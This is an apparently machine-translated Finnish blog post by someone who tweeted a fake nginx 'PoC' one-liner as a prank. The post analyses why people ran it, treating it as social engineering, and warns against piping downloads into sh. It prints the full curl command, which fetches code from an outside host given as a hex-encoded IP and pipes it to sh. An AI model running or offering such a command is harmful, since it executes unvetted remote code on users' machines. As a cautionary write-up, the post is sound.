Huomautus. käännös:
TL;DR: Älä käytä tiedostojen liukuhihnaa sh- tai bash-muodossa missään olosuhteissa. Tämä on loistava tapa menettää tietokoneen hallinta.
Haluan jakaa kanssasi lyhyen tarinan sarjakuvasta PoC-hyökkäämisestä, joka luotiin 31. toukokuuta. Hän ilmestyi nopeasti vastauksena uutisiin
Valmistuttuani uuden tummuustekniikan parissa curlissa lainasin alkuperäistä twiittiä ja "vuotain toimivan PoC:n", joka koostuu yhdestä koodirivistä, jonka oletetaan hyödyntävän löydettyä haavoittuvuutta. Tämä oli tietysti täyttä hölynpölyä. Oletin, että tulen heti paljastetuksi ja että parhaimmillaan saan pari uudelleentwiittaa (no niin).
En kuitenkaan voinut kuvitella, mitä seuraavaksi tapahtui. Twiittini suosio nousi pilviin. Yllättäen tällä hetkellä (15 Moskovan aikaa 00. kesäkuuta) harvat ovat ymmärtäneet, että tämä on väärennös. Monet ihmiset uudelleentwiittaavat sen tarkistamatta sitä ollenkaan (puhumattakaan sen tuottaman ihanan ASCII-grafiikan ihailusta).
Katsokaa vain kuinka kaunis se on!
Vaikka kaikki nämä silmukat ja värit ovat mahtavia, on selvää, että ihmisten piti suorittaa koodi koneellaan nähdäkseen ne. Onneksi selaimet toimivat samalla tavalla, ja yhdistettynä siihen, että en todellakaan halunnut joutua oikeudellisiin ongelmiin, sivustolleni haudattu koodi teki vain kaikukutsuja yrittämättä asentaa tai suorittaa lisäkoodia.
Pieni poikkeama:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Sosioelektroninen suunnittelu (SEE) – enemmän kuin pelkkä tietojenkalastelu
Turvallisuus ja tuttuus olivat tärkeä osa tätä kokeilua. Uskon, että ne johtivat hänen menestykseensä. Komentorivi tarkoitti selvästi turvallisuutta viittaamalla "127.0.0.1":een (tunnettu localhost). Localhostia pidetään turvallisena, ja sen tiedot eivät koskaan poistu tietokoneeltasi.
Tuttuus oli kokeen toinen tärkeä SEE-komponentti. Koska kohdeyleisö koostui ensisijaisesti tietoturvan perusteisiin perehtyneistä henkilöistä, oli tärkeää luoda koodi niin, että osa siitä tuntui tutulta ja tutulta (ja siksi turvalliselta). Vanhojen hyväksikäyttökonseptien elementtien lainaaminen ja niiden yhdistäminen epätavallisella tavalla on osoittautunut erittäin onnistuneeksi.
Alla on yksityiskohtainen analyysi yksivuorisesta. Kaikki tällä listalla kuluu kosmeettinen luonne, eikä sen varsinaiseen toimintaan tarvita käytännössä mitään.
Mitä komponentteja todella tarvitaan? Tämä -gsS
, -O 0x0238f06a
, |sh
ja itse web-palvelin. Web-palvelin ei sisältänyt haitallisia ohjeita, vaan palveli vain ASCII-grafiikkaa komentojen avulla echo
sisältämässä käsikirjoituksessa index.html
. Kun käyttäjä syötti rivin kanssa |sh
keskellä, index.html
ladattu ja suoritettu. Onneksi verkkopalvelimen ylläpitäjillä ei ollut pahoja aikomuksia.
-
../../../%00
— edustaa hakemiston ulkopuolelle menemistä; -
ngx_stream_module.so
— polku satunnaiseen NGINX-moduuliin; -
/bin/sh%00<'protocol:TCP'
- Oletettavasti käynnistämme/bin/sh
kohdekoneessa ja ohjaa ulostulo TCP-kanavalle; -
-O 0x0238f06a#PLToffset
- salainen ainesosa, täydennettynä#PLToffset
, näyttää PLT:n sisältämältä muistipoikkeamalta; -
|sh;
- toinen tärkeä osa. Meidän piti ohjata tulos uudelleen sh/bashiin suorittaaksemme koodin, joka tulee hyökkäävältä verkkopalvelimelta, joka sijaitsee osoitteessa0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- nukke, johon netcat viittaa/dev/tcp/localhost
jotta kaikki näyttää jälleen turvalliselta. Itse asiassa se ei tee mitään ja sisältyy kauneussarjaan.
Tämä päättää yksirivisen skriptin dekoodauksen ja keskustelun "sosiaalis-elektronisen suunnittelun" (monimutkaisesta tietojenkalastelu) näkökohdista.
Web-palvelimen konfigurointi ja vastatoimenpiteet
Koska suurin osa tilaajistani on infosec/hakkereita, päätin tehdä verkkopalvelimesta hieman vastustuskykyisemmän heidän "kiinnostuksenilmauksilleen", jotta kavereilla olisi tekemistä (ja se olisi hauskaa perustaa). En aio luetella kaikkia sudenkuoppia tässä, koska kokeilu on vielä kesken, mutta tässä on muutamia asioita, joita palvelin tekee:
- Valvoo aktiivisesti jakeluyrityksiä tietyissä sosiaalisissa verkostoissa ja korvaa erilaisia esikatselukuvia kannustaakseen käyttäjää napsauttamaan linkkiä.
- Ohjaa Chromen/Mozillan/Safarin/etc:n Thugcrowd-mainosvideoon komentosarjan näyttämisen sijaan.
- Tarkkailee ILMEISTÄ tunkeutumisen/räikeän hakkeroinnin merkkejä ja alkaa sitten ohjata pyyntöjä NSA-palvelimille (ha!).
- Asentaa troijalaisen sekä BIOS-rootkitin kaikkiin tietokoneisiin, joiden käyttäjät vierailevat isännässä tavallisesta selaimesta (vitsinä!).
Pieni osa antimeerejä
Tässä tapauksessa ainoa tavoitteeni oli hallita joitain Apachen ominaisuuksia - erityisesti hienot säännöt pyyntöjen uudelleenohjausta varten - ja ajattelin: miksi ei?
NGINX Exploit (todellinen!)
Tilaa
Lähde: will.com